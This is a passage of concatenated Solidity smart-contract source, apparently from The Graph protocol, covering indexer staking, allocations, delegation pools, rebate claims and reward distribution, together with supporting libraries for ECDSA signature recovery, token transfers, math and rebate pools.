function _stake(address _indexer, uint256 _tokens) private {
// Deposit tokens into the indexer stake
stakes[_indexer].deposit(_tokens);
// Initialize the delegation pool the first time
if (delegationPools[_indexer].updatedAtBlock == 0) {
_setDelegationParameters(_indexer, MAX_PPM, MAX_PPM, delegationParametersCooldown);
}
emit StakeDeposited(_indexer, _tokens);
}
/**
* @dev Withdraw indexer tokens once the thawing period has passed.
* @param _indexer Address of indexer to withdraw funds from
*/
function _withdraw(address _indexer) private {
// Get tokens available for withdraw and update balance
uint256 tokensToWithdraw = stakes[_indexer].withdrawTokens();
require(tokensToWithdraw > 0, "!tokens");
// Return tokens to the indexer
TokenUtils.pushTokens(graphToken(), _indexer, tokensToWithdraw);
emit StakeWithdrawn(_indexer, tokensToWithdraw);
}
/**
* @dev Allocate available tokens to a subgraph deployment.
* @param _indexer Indexer address to allocate funds from.
* @param _subgraphDeploymentID ID of the SubgraphDeployment where tokens will be allocated
* @param _tokens Amount of tokens to allocate
* @param _allocationID The allocationID will work to identify collected funds related to this allocation
* @param _metadata Metadata related to the allocation
* @param _proof A 65-bytes Ethereum signed message of `keccak256(indexerAddress,allocationID)`
*/
function _allocate(
address _indexer,
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) private {
require(_isAuth(_indexer), "!auth");
// Only allocations with a non-zero token amount are allowed
require(_tokens > 0, "!tokens");
// Check allocation
require(_allocationID != address(0), "!alloc");
require(_getAllocationState(_allocationID) == AllocationState.Null, "!null");
// Caller must prove that they own the private key for the allocationID adddress
// The proof is an Ethereum signed message of KECCAK256(indexerAddress,allocationID)
bytes32 messageHash = keccak256(abi.encodePacked(_indexer, _allocationID));
bytes32 digest = ECDSA.toEthSignedMessageHash(messageHash);
require(ECDSA.recover(digest, _proof) == _allocationID, "!proof");
// Needs to have free capacity not used for other purposes to allocate
require(getIndexerCapacity(_indexer) >= _tokens, "!capacity");
// Creates an allocation
// Allocation identifiers are not reused
// The assetHolder address can send collected funds to the allocation
Allocation memory alloc =
Allocation(
_indexer,
_subgraphDeploymentID,
_tokens, // Tokens allocated
epochManager().currentEpoch(), // createdAtEpoch
0, // closedAtEpoch
0, // Initialize collected fees
0, // Initialize effective allocation
_updateRewards(_subgraphDeploymentID) // Initialize accumulated rewards per stake allocated
);
allocations[_allocationID] = alloc;
// Mark allocated tokens as used
stakes[_indexer].allocate(alloc.tokens);
// Track total allocations per subgraph
// Used for rewards calculations
subgraphAllocations[alloc.subgraphDeploymentID] = subgraphAllocations[
alloc.subgraphDeploymentID
]
.add(alloc.tokens);
emit AllocationCreated(
_indexer,
_subgraphDeploymentID,
alloc.createdAtEpoch,
alloc.tokens,
_allocationID,
_metadata
);
}
/**
* @dev Close an allocation and free the staked tokens.
* @param _allocationID The allocation identifier
* @param _poi Proof of indexing submitted for the allocated period
*/
function _closeAllocation(address _allocationID, bytes32 _poi) private {
// Allocation must exist and be active
AllocationState allocState = _getAllocationState(_allocationID);
require(allocState == AllocationState.Active, "!active");
// Get allocation
Allocation memory alloc = allocations[_allocationID];
// Validate that an allocation cannot be closed before one epoch
alloc.closedAtEpoch = epochManager().currentEpoch();
uint256 epochs = MathUtils.diffOrZero(alloc.closedAtEpoch, alloc.createdAtEpoch);
require(epochs > 0, "<epochs");
// Indexer or operator can close an allocation
// Delegators are also allowed but only after maxAllocationEpochs passed
bool isIndexer = _isAuth(alloc.indexer);
if (epochs > maxAllocationEpochs) {
require(isIndexer || isDelegator(alloc.indexer, msg.sender), "!auth-or-del");
} else {
require(isIndexer, "!auth");
}
// Calculate effective allocation for the amount of epochs it remained allocated
alloc.effectiveAllocation = _getEffectiveAllocation(
maxAllocationEpochs,
alloc.tokens,
epochs
);
// Close the allocation and start counting a period to settle remaining payments from
// state channels.
allocations[_allocationID].closedAtEpoch = alloc.closedAtEpoch;
allocations[_allocationID].effectiveAllocation = alloc.effectiveAllocation;
// Account collected fees and effective allocation in rebate pool for the epoch
Rebates.Pool storage rebatePool = rebates[alloc.closedAtEpoch];
if (!rebatePool.exists()) {
rebatePool.init(alphaNumerator, alphaDenominator);
}
rebatePool.addToPool(alloc.collectedFees, alloc.effectiveAllocation);
// Distribute rewards if proof of indexing was presented by the indexer or operator
if (isIndexer && _poi != 0) {
_distributeRewards(_allocationID, alloc.indexer);
} else {
_updateRewards(alloc.subgraphDeploymentID);
}
// Free allocated tokens from use
stakes[alloc.indexer].unallocate(alloc.tokens);
// Track total allocations per subgraph
// Used for rewards calculations
subgraphAllocations[alloc.subgraphDeploymentID] = subgraphAllocations[
alloc.subgraphDeploymentID
]
.sub(alloc.tokens);
emit AllocationClosed(
alloc.indexer,
alloc.subgraphDeploymentID,
alloc.closedAtEpoch,
alloc.tokens,
_allocationID,
alloc.effectiveAllocation,
msg.sender,
_poi,
!isIndexer
);
}
/**
* @dev Claim tokens from the rebate pool.
* @param _allocationID Allocation from where we are claiming tokens
* @param _restake True if restake fees instead of transfer to indexer
*/
function _claim(address _allocationID, bool _restake) private {
// Funds can only be claimed after a period of time passed since allocation was closed
AllocationState allocState = _getAllocationState(_allocationID);
require(allocState == AllocationState.Finalized, "!finalized");
// Get allocation
Allocation memory alloc = allocations[_allocationID];
// Only the indexer or operator can decide if to restake
bool restake = _isAuth(alloc.indexer) ? _restake : false;
// Process rebate reward
Rebates.Pool storage rebatePool = rebates[alloc.closedAtEpoch];
uint256 tokensToClaim = rebatePool.redeem(alloc.collectedFees, alloc.effectiveAllocation);
// Add delegation rewards to the delegation pool
uint256 delegationRewards = _collectDelegationQueryRewards(alloc.indexer, tokensToClaim);
tokensToClaim = tokensToClaim.sub(delegationRewards);
// Purge allocation data except for:
// - indexer: used in disputes and to avoid reusing an allocationID
// - subgraphDeploymentID: used in disputes
allocations[_allocationID].tokens = 0; // This avoid collect(), close() and claim() to be called
allocations[_allocationID].createdAtEpoch = 0;
allocations[_allocationID].closedAtEpoch = 0;
allocations[_allocationID].collectedFees = 0;
allocations[_allocationID].effectiveAllocation = 0;
allocations[_allocationID].accRewardsPerAllocatedToken = 0;
// -- Interactions --
IGraphToken graphToken = graphToken();
// When all allocations processed then burn unclaimed fees and prune rebate pool
if (rebatePool.unclaimedAllocationsCount == 0) {
TokenUtils.burnTokens(graphToken, rebatePool.unclaimedFees());
delete rebates[alloc.closedAtEpoch];
}
// When there are tokens to claim from the rebate pool, transfer or restake
_sendRewards(graphToken, tokensToClaim, alloc.indexer, restake);
emit RebateClaimed(
alloc.indexer,
alloc.subgraphDeploymentID,
_allocationID,
epochManager().currentEpoch(),
alloc.closedAtEpoch,
tokensToClaim,
rebatePool.unclaimedAllocationsCount,
delegationRewards
);
}
/**
* @dev Delegate tokens to an indexer.
* @param _delegator Address of the delegator
* @param _indexer Address of the indexer to delegate tokens to
* @param _tokens Amount of tokens to delegate
* @return Amount of shares issued of the delegation pool
*/
function _delegate(
address _delegator,
address _indexer,
uint256 _tokens
) private returns (uint256) {
// Only delegate a non-zero amount of tokens
require(_tokens > 0, "!tokens");
// Only delegate to non-empty address
require(_indexer != address(0), "!indexer");
// Only delegate to staked indexer
require(stakes[_indexer].tokensStaked > 0, "!stake");
// Get the delegation pool of the indexer
DelegationPool storage pool = delegationPools[_indexer];
Delegation storage delegation = pool.delegators[_delegator];
// Collect delegation tax
uint256 delegationTax = _collectTax(graphToken(), _tokens, delegationTaxPercentage);
uint256 delegatedTokens = _tokens.sub(delegationTax);
// Calculate shares to issue
uint256 shares =
(pool.tokens == 0)
? delegatedTokens
: delegatedTokens.mul(pool.shares).div(pool.tokens);
// Update the delegation pool
pool.tokens = pool.tokens.add(delegatedTokens);
pool.shares = pool.shares.add(shares);
// Update the delegation
delegation.shares = delegation.shares.add(shares);
emit StakeDelegated(_indexer, _delegator, delegatedTokens, shares);
return shares;
}
/**
* @dev Undelegate tokens from an indexer.
* @param _delegator Address of the delegator
* @param _indexer Address of the indexer where tokens had been delegated
* @param _shares Amount of shares to return and undelegate tokens
* @return Amount of tokens returned for the shares of the delegation pool
*/
function _undelegate(
address _delegator,
address _indexer,
uint256 _shares
) private returns (uint256) {
// Can only undelegate a non-zero amount of shares
require(_shares > 0, "!shares");
// Get the delegation pool of the indexer
DelegationPool storage pool = delegationPools[_indexer];
Delegation storage delegation = pool.delegators[_delegator];
// Delegator need to have enough shares in the pool to undelegate
require(delegation.shares >= _shares, "!shares-avail");
// Withdraw tokens if available
if (getWithdraweableDelegatedTokens(delegation) > 0) {
_withdrawDelegated(_delegator, _indexer, address(0));
}
// Calculate tokens to get in exchange for the shares
uint256 tokens = _shares.mul(pool.tokens).div(pool.shares);
// Update the delegation pool
pool.tokens = pool.tokens.sub(tokens);
pool.shares = pool.shares.sub(_shares);
// Update the delegation
delegation.shares = delegation.shares.sub(_shares);
delegation.tokensLocked = delegation.tokensLocked.add(tokens);
delegation.tokensLockedUntil = epochManager().currentEpoch().add(delegationUnbondingPeriod);
emit StakeDelegatedLocked(
_indexer,
_delegator,
tokens,
_shares,
delegation.tokensLockedUntil
);
return tokens;
}
/**
* @dev Withdraw delegated tokens once the unbonding period has passed.
* @param _delegator Delegator that is withdrawing tokens
* @param _indexer Withdraw available tokens delegated to indexer
* @param _delegateToIndexer Re-delegate to indexer address if non-zero, withdraw if zero address
*/
function _withdrawDelegated(
address _delegator,
address _indexer,
address _delegateToIndexer
) private returns (uint256) {
// Get the delegation pool of the indexer
DelegationPool storage pool = delegationPools[_indexer];
Delegation storage delegation = pool.delegators[_delegator];
// Validation
uint256 tokensToWithdraw = getWithdraweableDelegatedTokens(delegation);
require(tokensToWithdraw > 0, "!tokens");
// Reset lock
delegation.tokensLocked = 0;
delegation.tokensLockedUntil = 0;
emit StakeDelegatedWithdrawn(_indexer, _delegator, tokensToWithdraw);
// -- Interactions --
if (_delegateToIndexer != address(0)) {
// Re-delegate tokens to a new indexer
_delegate(_delegator, _delegateToIndexer, tokensToWithdraw);
} else {
// Return tokens to the delegator
TokenUtils.pushTokens(graphToken(), _delegator, tokensToWithdraw);
}
return tokensToWithdraw;
}
/**
* @dev Collect the delegation rewards for query fees.
* This function will assign the collected fees to the delegation pool.
* @param _indexer Indexer to which the tokens to distribute are related
* @param _tokens Total tokens received used to calculate the amount of fees to collect
* @return Amount of delegation rewards
*/
function _collectDelegationQueryRewards(address _indexer, uint256 _tokens)
private
returns (uint256)
{
uint256 delegationRewards = 0;
DelegationPool storage pool = delegationPools[_indexer];
if (pool.tokens > 0 && pool.queryFeeCut < MAX_PPM) {
uint256 indexerCut = uint256(pool.queryFeeCut).mul(_tokens).div(MAX_PPM);
delegationRewards = _tokens.sub(indexerCut);
pool.tokens = pool.tokens.add(delegationRewards);
}
return delegationRewards;
}
/**
* @dev Collect the delegation rewards for indexing.
* This function will assign the collected fees to the delegation pool.
* @param _indexer Indexer to which the tokens to distribute are related
* @param _tokens Total tokens received used to calculate the amount of fees to collect
* @return Amount of delegation rewards
*/
function _collectDelegationIndexingRewards(address _indexer, uint256 _tokens)
private
returns (uint256)
{
uint256 delegationRewards = 0;
DelegationPool storage pool = delegationPools[_indexer];
if (pool.tokens > 0 && pool.indexingRewardCut < MAX_PPM) {
uint256 indexerCut = uint256(pool.indexingRewardCut).mul(_tokens).div(MAX_PPM);
delegationRewards = _tokens.sub(indexerCut);
pool.tokens = pool.tokens.add(delegationRewards);
}
return delegationRewards;
}
/**
* @dev Collect the curation fees for a subgraph deployment from an amount of tokens.
* This function transfer curation fees to the Curation contract by calling Curation.collect
* @param _graphToken Token to collect
* @param _subgraphDeploymentID Subgraph deployment to which the curation fees are related
* @param _tokens Total tokens received used to calculate the amount of fees to collect
* @param _curationPercentage Percentage of tokens to collect as fees
* @return Amount of curation fees
*/
function _collectCurationFees(
IGraphToken _graphToken,
bytes32 _subgraphDeploymentID,
uint256 _tokens,
uint256 _curationPercentage
) private returns (uint256) {
if (_tokens == 0) {
return 0;
}
ICuration curation = curation();
bool isCurationEnabled = _curationPercentage > 0 && address(curation) != address(0);
if (isCurationEnabled && curation.isCurated(_subgraphDeploymentID)) {
uint256 curationFees = uint256(_curationPercentage).mul(_tokens).div(MAX_PPM);
if (curationFees > 0) {
// Transfer and call collect()
// This function transfer tokens to a trusted protocol contracts
// Then we call collect() to do the transfer bookeeping
TokenUtils.pushTokens(_graphToken, address(curation), curationFees);
curation.collect(_subgraphDeploymentID, curationFees);
}
return curationFees;
}
return 0;
}
/**
* @dev Collect tax to burn for an amount of tokens.
* @param _graphToken Token to burn
* @param _tokens Total tokens received used to calculate the amount of tax to collect
* @param _percentage Percentage of tokens to burn as tax
* @return Amount of tax charged
*/
function _collectTax(
IGraphToken _graphToken,
uint256 _tokens,
uint256 _percentage
) private returns (uint256) {
uint256 tax = uint256(_percentage).mul(_tokens).div(MAX_PPM);
TokenUtils.burnTokens(_graphToken, tax); // Burn tax if any
return tax;
}
/**
* @dev Return the current state of an allocation
* @param _allocationID Allocation identifier
* @return AllocationState
*/
function _getAllocationState(address _allocationID) private view returns (AllocationState) {
Allocation storage alloc = allocations[_allocationID];
if (alloc.indexer == address(0)) {
return AllocationState.Null;
}
if (alloc.tokens == 0) {
return AllocationState.Claimed;
}
uint256 closedAtEpoch = alloc.closedAtEpoch;
if (closedAtEpoch == 0) {
return AllocationState.Active;
}
uint256 epochs = epochManager().epochsSince(closedAtEpoch);
if (epochs >= channelDisputeEpochs) {
return AllocationState.Finalized;
}
return AllocationState.Closed;
}
/**
* @dev Get the effective stake allocation considering epochs from allocation to closing.
* @param _maxAllocationEpochs Max amount of epochs to cap the allocated stake
* @param _tokens Amount of tokens allocated
* @param _numEpochs Number of epochs that passed from allocation to closing
* @return Effective allocated tokens across epochs
*/
function _getEffectiveAllocation(
uint256 _maxAllocationEpochs,
uint256 _tokens,
uint256 _numEpochs
) private pure returns (uint256) {
bool shouldCap = _maxAllocationEpochs > 0 && _numEpochs > _maxAllocationEpochs;
return _tokens.mul((shouldCap) ? _maxAllocationEpochs : _numEpochs);
}
/**
* @dev Triggers an update of rewards due to a change in allocations.
* @param _subgraphDeploymentID Subgraph deployment updated
*/
function _updateRewards(bytes32 _subgraphDeploymentID) private returns (uint256) {
IRewardsManager rewardsManager = rewardsManager();
if (address(rewardsManager) == address(0)) {
return 0;
}
return rewardsManager.onSubgraphAllocationUpdate(_subgraphDeploymentID);
}
/**
* @dev Assign rewards for the closed allocation to indexer and delegators.
* @param _allocationID Allocation
*/
function _distributeRewards(address _allocationID, address _indexer) private {
IRewardsManager rewardsManager = rewardsManager();
if (address(rewardsManager) == address(0)) {
return;
}
// Automatically triggers update of rewards snapshot as allocation will change
// after this call. Take rewards mint tokens for the Staking contract to distribute
// between indexer and delegators
uint256 totalRewards = rewardsManager.takeRewards(_allocationID);
if (totalRewards == 0) {
return;
}
// Calculate delegation rewards and add them to the delegation pool
uint256 delegationRewards = _collectDelegationIndexingRewards(_indexer, totalRewards);
uint256 indexerRewards = totalRewards.sub(delegationRewards);
// Send the indexer rewards
_sendRewards(
graphToken(),
indexerRewards,
_indexer,
rewardsDestination[_indexer] == address(0)
);
}
/**
* @dev Send rewards to the appropiate destination.
* @param _graphToken Graph token
* @param _amount Number of rewards tokens
* @param _beneficiary Address of the beneficiary of rewards
* @param _restake Whether to restake or not
*/
function _sendRewards(
IGraphToken _graphToken,
uint256 _amount,
address _beneficiary,
bool _restake
) private {
if (_amount == 0) return;
if (_restake) {
// Restake to place fees into the indexer stake
_stake(_beneficiary, _amount);
} else {
// Transfer funds to the beneficiary's designated rewards destination if set
address destination = rewardsDestination[_beneficiary];
TokenUtils.pushTokens(
_graphToken,
destination == address(0) ? _beneficiary : destination,
_amount
);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "./IGraphProxy.sol";
/**
* @title Graph Upgradeable
* @dev This contract is intended to be inherited from upgradeable contracts.
*/
contract GraphUpgradeable {
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Check if the caller is the proxy admin.
*/
modifier onlyProxyAdmin(IGraphProxy _proxy) {
require(msg.sender == _proxy.admin(), "Caller must be the proxy admin");
_;
}
/**
* @dev Check if the caller is the implementation.
*/
modifier onlyImpl {
require(msg.sender == _implementation(), "Caller must be the implementation");
_;
}
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Accept to be an implementation of proxy.
*/
function acceptProxy(IGraphProxy _proxy) external onlyProxyAdmin(_proxy) {
_proxy.acceptUpgrade();
}
/**
* @dev Accept to be an implementation of proxy and then call a function from the new
* implementation as specified by `_data`, which should be an encoded function call. This is
* useful to initialize new storage variables in the proxied contract.
*/
function acceptProxyAndCall(IGraphProxy _proxy, bytes calldata _data)
external
onlyProxyAdmin(_proxy)
{
_proxy.acceptUpgradeAndCall(_data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "../token/IGraphToken.sol";
library TokenUtils {
/**
* @dev Pull tokens from an address to this contract.
* @param _graphToken Token to transfer
* @param _from Address sending the tokens
* @param _amount Amount of tokens to transfer
*/
function pullTokens(
IGraphToken _graphToken,
address _from,
uint256 _amount
) internal {
if (_amount > 0) {
require(_graphToken.transferFrom(_from, address(this), _amount), "!transfer");
}
}
/**
* @dev Push tokens from this contract to a receiving address.
* @param _graphToken Token to transfer
* @param _to Address receiving the tokens
* @param _amount Amount of tokens to transfer
*/
function pushTokens(
IGraphToken _graphToken,
address _to,
uint256 _amount
) internal {
if (_amount > 0) {
require(_graphToken.transfer(_to, _amount), "!transfer");
}
}
/**
* @dev Burn tokens held by this contract.
* @param _graphToken Token to burn
* @param _amount Amount of tokens to burn
*/
function burnTokens(IGraphToken _graphToken, uint256 _amount) internal {
if (_amount > 0) {
_graphToken.burn(_amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import "./IStakingData.sol";
interface IStaking is IStakingData {
// -- Allocation Data --
/**
* @dev Possible states an allocation can be
* States:
* - Null = indexer == address(0)
* - Active = not Null && tokens > 0
* - Closed = Active && closedAtEpoch != 0
* - Finalized = Closed && closedAtEpoch + channelDisputeEpochs > now()
* - Claimed = not Null && tokens == 0
*/
enum AllocationState { Null, Active, Closed, Finalized, Claimed }
// -- Configuration --
function setMinimumIndexerStake(uint256 _minimumIndexerStake) external;
function setThawingPeriod(uint32 _thawingPeriod) external;
function setCurationPercentage(uint32 _percentage) external;
function setProtocolPercentage(uint32 _percentage) external;
function setChannelDisputeEpochs(uint32 _channelDisputeEpochs) external;
function setMaxAllocationEpochs(uint32 _maxAllocationEpochs) external;
function setRebateRatio(uint32 _alphaNumerator, uint32 _alphaDenominator) external;
function setDelegationRatio(uint32 _delegationRatio) external;
function setDelegationParameters(
uint32 _indexingRewardCut,
uint32 _queryFeeCut,
uint32 _cooldownBlocks
) external;
function setDelegationParametersCooldown(uint32 _blocks) external;
function setDelegationUnbondingPeriod(uint32 _delegationUnbondingPeriod) external;
function setDelegationTaxPercentage(uint32 _percentage) external;
function setSlasher(address _slasher, bool _allowed) external;
function setAssetHolder(address _assetHolder, bool _allowed) external;
// -- Operation --
function setOperator(address _operator, bool _allowed) external;
function isOperator(address _operator, address _indexer) external view returns (bool);
// -- Staking --
function stake(uint256 _tokens) external;
function stakeTo(address _indexer, uint256 _tokens) external;
function unstake(uint256 _tokens) external;
function slash(
address _indexer,
uint256 _tokens,
uint256 _reward,
address _beneficiary
) external;
function withdraw() external;
function setRewardsDestination(address _destination) external;
// -- Delegation --
function delegate(address _indexer, uint256 _tokens) external returns (uint256);
function undelegate(address _indexer, uint256 _shares) external returns (uint256);
function withdrawDelegated(address _indexer, address _newIndexer) external returns (uint256);
// -- Channel management and allocations --
function allocate(
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) external;
function allocateFrom(
address _indexer,
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) external;
function closeAllocation(address _allocationID, bytes32 _poi) external;
function closeAllocationMany(CloseAllocationRequest[] calldata _requests) external;
function closeAndAllocate(
address _oldAllocationID,
bytes32 _poi,
address _indexer,
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) external;
function collect(uint256 _tokens, address _allocationID) external;
function claim(address _allocationID, bool _restake) external;
function claimMany(address[] calldata _allocationID, bool _restake) external;
// -- Getters and calculations --
function hasStake(address _indexer) external view returns (bool);
function getIndexerStakedTokens(address _indexer) external view returns (uint256);
function getIndexerCapacity(address _indexer) external view returns (uint256);
function getAllocation(address _allocationID) external view returns (Allocation memory);
function getAllocationState(address _allocationID) external view returns (AllocationState);
function isAllocation(address _allocationID) external view returns (bool);
function getSubgraphAllocatedTokens(bytes32 _subgraphDeploymentID)
external
view
returns (uint256);
function getDelegation(address _indexer, address _delegator)
external
view
returns (Delegation memory);
function isDelegator(address _indexer, address _delegator) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "../governance/Managed.sol";
import "./IStakingData.sol";
import "./libs/Rebates.sol";
import "./libs/Stakes.sol";
contract StakingV1Storage is Managed {
// -- Staking --
// Minimum amount of tokens an indexer needs to stake
uint256 public minimumIndexerStake;
// Time in blocks to unstake
uint32 public thawingPeriod; // in blocks
// Percentage of fees going to curators
// Parts per million. (Allows for 4 decimal points, 999,999 = 99.9999%)
uint32 public curationPercentage;
// Percentage of fees burned as protocol fee
// Parts per million. (Allows for 4 decimal points, 999,999 = 99.9999%)
uint32 public protocolPercentage;
// Period for allocation to be finalized
uint32 public channelDisputeEpochs;
// Maximum allocation time
uint32 public maxAllocationEpochs;
// Rebate ratio
uint32 public alphaNumerator;
uint32 public alphaDenominator;
// Indexer stakes : indexer => Stake
mapping(address => Stakes.Indexer) public stakes;
// Allocations : allocationID => Allocation
mapping(address => IStakingData.Allocation) public allocations;
// Subgraph Allocations: subgraphDeploymentID => tokens
mapping(bytes32 => uint256) public subgraphAllocations;
// Rebate pools : epoch => Pool
mapping(uint256 => Rebates.Pool) public rebates;
// -- Slashing --
// List of addresses allowed to slash stakes
mapping(address => bool) public slashers;
// -- Delegation --
// Set the delegation capacity multiplier defined by the delegation ratio
// If delegation ratio is 100, and an Indexer has staked 5 GRT,
// then they can use up to 500 GRT from the delegated stake
uint32 public delegationRatio;
// Time in blocks an indexer needs to wait to change delegation parameters
uint32 public delegationParametersCooldown;
// Time in epochs a delegator needs to wait to withdraw delegated stake
uint32 public delegationUnbondingPeriod; // in epochs
// Percentage of tokens to tax a delegation deposit
// Parts per million. (Allows for 4 decimal points, 999,999 = 99.9999%)
uint32 public delegationTaxPercentage;
// Delegation pools : indexer => DelegationPool
mapping(address => IStakingData.DelegationPool) public delegationPools;
// -- Operators --
// Operator auth : indexer => operator
mapping(address => mapping(address => bool)) public operatorAuth;
// -- Asset Holders --
// Allowed AssetHolders: assetHolder => is allowed
mapping(address => bool) public assetHolders;
}
contract StakingV2Storage is StakingV1Storage {
// Destination of accrued rewards : beneficiary => rewards destination
mapping(address => address) public rewardsDestination;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title MathUtils Library
* @notice A collection of functions to perform math operations
*/
library MathUtils {
using SafeMath for uint256;
/**
* @dev Calculates the weighted average of two values pondering each of these
* values based on configured weights. The contribution of each value N is
* weightN/(weightA + weightB).
* @param valueA The amount for value A
* @param weightA The weight to use for value A
* @param valueB The amount for value B
* @param weightB The weight to use for value B
*/
function weightedAverage(
uint256 valueA,
uint256 weightA,
uint256 valueB,
uint256 weightB
) internal pure returns (uint256) {
return valueA.mul(weightA).add(valueB.mul(weightB)).div(weightA.add(weightB));
}
/**
* @dev Returns the minimum of two numbers.
*/
function min(uint256 x, uint256 y) internal pure returns (uint256) {
return x <= y ? x : y;
}
/**
* @dev Returns the difference between two numbers or zero if negative.
*/
function diffOrZero(uint256 x, uint256 y) internal pure returns (uint256) {
return (x > y) ? x.sub(y) : 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Cobbs.sol";
/**
* @title A collection of data structures and functions to manage Rebates
* Used for low-level state changes, require() conditions should be evaluated
* at the caller function scope.
*/
library Rebates {
using SafeMath for uint256;
// Tracks stats for allocations closed on a particular epoch for claiming
// The pool also keeps tracks of total query fees collected and stake used
// Only one rebate pool exists per epoch
struct Pool {
uint256 fees; // total query fees in the rebate pool
uint256 effectiveAllocatedStake; // total effective allocation of stake
uint256 claimedRewards; // total claimed rewards from the rebate pool
uint32 unclaimedAllocationsCount; // amount of unclaimed allocations
uint32 alphaNumerator; // numerator of `alpha` in the cobb-douglas function
uint32 alphaDenominator; // denominator of `alpha` in the cobb-douglas function
}
/**
* @dev Init the rebate pool with the rebate ratio.
* @param _alphaNumerator Numerator of `alpha` in the cobb-douglas function
* @param _alphaDenominator Denominator of `alpha` in the cobb-douglas function
*/
function init(
Rebates.Pool storage pool,
uint32 _alphaNumerator,
uint32 _alphaDenominator
) internal {
pool.alphaNumerator = _alphaNumerator;
pool.alphaDenominator = _alphaDenominator;
}
/**
* @dev Return true if the rebate pool was already initialized.
*/
function exists(Rebates.Pool storage pool) internal view returns (bool) {
return pool.effectiveAllocatedStake > 0;
}
/**
* @dev Return the amount of unclaimed fees.
*/
function unclaimedFees(Rebates.Pool storage pool) internal view returns (uint256) {
return pool.fees.sub(pool.claimedRewards);
}
/**
* @dev Deposit tokens into the rebate pool.
* @param _indexerFees Amount of fees collected in tokens
* @param _indexerEffectiveAllocatedStake Effective stake allocated by indexer for a period of epochs
*/
function addToPool(
Rebates.Pool storage pool,
uint256 _indexerFees,
uint256 _indexerEffectiveAllocatedStake
) internal {
pool.fees = pool.fees.add(_indexerFees);
pool.effectiveAllocatedStake = pool.effectiveAllocatedStake.add(
_indexerEffectiveAllocatedStake
);
pool.unclaimedAllocationsCount += 1;
}
/**
* @dev Redeem tokens from the rebate pool.
* @param _indexerFees Amount of fees collected in tokens
* @param _indexerEffectiveAllocatedStake Effective stake allocated by indexer for a period of epochs
* @return Amount of reward tokens according to Cobb-Douglas rebate formula
*/
function redeem(
Rebates.Pool storage pool,
uint256 _indexerFees,
uint256 _indexerEffectiveAllocatedStake
) internal returns (uint256) {
uint256 rebateReward = 0;
